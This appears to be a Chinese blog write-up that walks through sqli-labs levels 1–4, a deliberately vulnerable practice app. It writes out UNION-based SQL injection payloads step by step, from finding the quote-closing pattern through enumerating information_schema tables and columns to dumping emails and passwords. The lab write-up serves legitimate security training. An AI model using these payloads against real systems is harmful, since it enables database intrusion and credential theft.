sqli-labs less-1 --> less-4
Less-1 (报错注入)
因为第一次做这些题,不太了解,所以$sql下加上echo "$sql<br>";能更明显的看出具体的输入
1.判断是否存在注入点
当输入?id=1时结果如下
当输入?id=1’ and 1=1--+时回显正确
当输入?id=1’发生报错,存在注入点
2.判断字段数
经尝试得到字段数为3,?id=1’ order by 3--+
通过?id=’union select 1,2,3 --+判断回显的具体字段位(使用union函数时需要左边的sql语句执行错误,即空集)
3.根据函数查当前数据库,当前用户等
具体函数:
Version() 返回当前数据库的版本信息 || 查看数据库版本
User() 返回当前用户 || 查看当前用户
Database() 返回当前数据库名 || 查看使用的数据库
Group_concat()将查询结果连接成字符串 || 一次性获取数据库信息
Limit() limit子句来分批获取所有数据
4.在爆库、爆表、爆字段名之前需要了解下图
爆表:执行?id=’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=十六进制的数据库名),3 --+ ,如下图表明security库下面有四个表:emails,referers,uagents,users
爆字段(爆emails):执行?id=’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=emails的十六进制数),3 --+,如下图表明emails表下有两个字段(列):id,email_id
获取数据(爆email_id):执行?id=’union select 1,(select group_concat(email_id) from emails),3 --+,如下图得到列email_id下的数据
-------------------------------------------------------END----------------------------------------------------------------
Less-2 (报错注入)
和less-1类似
1.判断是否存在注入点
当输入?id=1时能正确显示,当输入?id=1’时报错,初步判断存在注入点,但是当输入?id=1’and1=1--+时又出现报错,输入?id=1 and 1=1 --+时能正确显示
查看源码后发现id的值并没有被命成字符
2.判断字段数,执行?id=1 order by 3 ,经判断,字段数为3
3.判断回显的具体字段位,执行?id=-1 union select 1,2,3,结果与less-1相同
4.根据函数查当前数据库,当前用户等,执行?id=-1 union select 1,database(),user()
5.爆库,爆表,爆字段
爆表:执行?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3,得到如下security下有四个表:emails,referers,uagents,users
爆字段(爆uagents):执行?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=uagents),3,得到:表uagents下有四列:id,uagent,ip_address,username
获取数据(爆username):执行?id=-1 union select 1,(select group_concat(username) from uagents),3,列username下的数据为空,在MySQL数据库中查看,确实为空
-------------------------------------------------------END----------------------------------------------------------------
Less-3 (报错注入)
同样的第一步
1.判断是否存在注入点
当执行?id=1时,能够正确显示,而当执行?id=1’,出现如下报错,首先判断存在注入点
仔细分析’ ’ 1’ ’ )得
SELECT * FROM 表名 WHERE id=(‘$id’) LIMIT 0,1
即:闭合方式除了‘’还有()
2.判断字段数
执行?id=1’) order by 3 --+ 经过尝试,字段数为3
3.判断回显的具体字段位
执行?id=-1’) union select 1,2,3 --+
4.查看当前数据库名,当前用户等
执行?id=-1') union select 1,database(),user() --+
5.爆库,爆表,爆字段
爆表:执行?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security的十六进制数),3 --+,得知:库security下有四个表:emails,referers,uagents,users
爆字段(爆referers):执行?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=referers的十六进制数),3 --+,得知:表referers下有三列:id,referer,ip_address
获取数据(爆id):执行?id=-1’) union select 1,(select group_concat(id) from referers),3 --+,列id下的数据又为空
-------------------------------------------------------END----------------------------------------------------------------
Less-4 (报错注入)
和前三题类似
1.判断是否存在注入点
执行?id=1以及?id=1’回显正确,执行?id=1”时出现报错,首先判断存在注入点
查看报错的提示 ’ “ 1 ” ” )在色块区域存在闭合导致报错,(在这里不得不提,?id=1”,的那个双引号真的服了,我还以为是两个单引号,半天没有反应....)将闭合后的部位注释掉,即?id=1” --+,发现还是不行,突然想起了第二个色块即,),所以闭合方式为:”” 和 (),执行?id=1”) --+
2.判断字段的长度
执行?id=1”) order by 3 --+,经过尝试的到字段数为3
3.判断回显的具体字段位
执行?id=-1”) union select 1,2,3 --+
4.查看当前数据库名,当前用户名等
执行?id=-1”) union select 1,database(),user() --+
5.爆库,爆表,爆字段
爆表:执行?id=-1”) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3 --+,得到库security下有四个表:emails,referers,uagents,users
爆字段(爆users):执行?id=-1”) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=users),3 --+,得到:表users下有6列:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
爆数据(爆password):执行?id=-1”) union select 1,(select group_concat(password) from users),3 --+
-------------------------------------------------------END----------------------------------------------------------------
sqli-labs less-1 --> less-4的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- python笔记23(面向对象课程五)
今日内容 上节作业 单例模式 class Foo: pass obj1 = Foo() # 实例,对象 obj2 = Foo() # 实例,对象 日志模块(logging) 程序的目录结构 内容回顾 ...
- JS数组方法(ES5、ES6)
1. arr.push() 从后面添加元素,添加一个或多个,返回值为添加完后的数组长度 let arr = [1,2,3,4,5] console.log(arr.push(6,7)) // 7 3 ...
- 移动端rem.js
rem 只与 html 的 font-size 有关,比如html{font-size: 16px} body{font-size: 62.5%},那么 1rem 还是 16px,与其他无关 在头部引 ...
- Android中使用AlarmManager设置闹钟
场景 设置闹钟 闹钟提醒 注: 博客: https://blog.csdn.net/badao_liumang_qizhi关注公众号 霸道的程序猿 获取编程相关电子书.教程推送与免费下载. 实现 新建 ...
- P1196 [NOI2002]银河英雄传说 【带权并查集】
思路 用sum记录每个舰队的战舰数量, tohead 记录当前舰离舰首的距离,那么求任意两舰之间有多少舰显然就是 abs( tohead[i] - tohead[j] ) - 1: CODE #inc ...
- 简单聊聊CSS中的3D技术之“立方体”
简单聊聊CSS中的3D技术之“立方体” 大家好,我是今天的男一号,我叫小博主. 今天来聊一下我在前端“逆战班”学习中遇到的颇为有趣的3D知识.前端学习3周,见识稀疏,在下面的分享中如有不对的地方请大家 ...
- Quartz.NET - 教程 5: 简单触发器
译者注: 目录在这 Quartz.NET 3.x 教程 原文在这 Lesson 5: SimpleTrigger 如果你需要在特定的时间点执行一次作业, 或者在特定的时间点执行一次作业, 然后在特定的 ...
- YARN安装和使用
简介 Yet Another Resource Negotiator ,负责整个集群资源的调度,和管理,支持多框架资源统一调度(HIVE spark flink) 开启yarn 安装hadoop,可以 ...
- 对于搭建网站中出现“You don't have permission to access this resource.”错误提示的解决思路
我是用的是树莓派搭载了ubuntu系统 配置php+apache的网站环境,但在登陆网站进行网站初始化设置时出现错误提示,其大意是没有访问权限,上网搜索了一系列相关教程,都说明对apache2.con ...
- 【46】谷歌 Inception 网络简介Inception(2)
Inception 网络(Inception network) 在上节笔记中,你已经见到了所有的Inception网络基础模块.在本节笔记中,我们将学习如何将这些模块组合起来,构筑你自己的Incept ...